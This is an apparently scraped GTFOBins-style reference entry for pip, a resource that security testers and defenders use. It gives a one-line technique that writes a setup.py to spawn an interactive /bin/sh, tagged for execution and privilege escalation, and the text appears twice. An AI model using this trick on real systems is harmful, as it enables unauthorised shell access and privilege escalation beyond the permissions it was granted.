This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.
GTFO · Tool
pip
inherit ← python
File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege Escalation LinuxmacOS
inherit ← python
File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile Upload LinuxmacOS
This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.
shell
ExecutionPrivilege Escalation LinuxmacOS
shell
Execution LinuxmacOS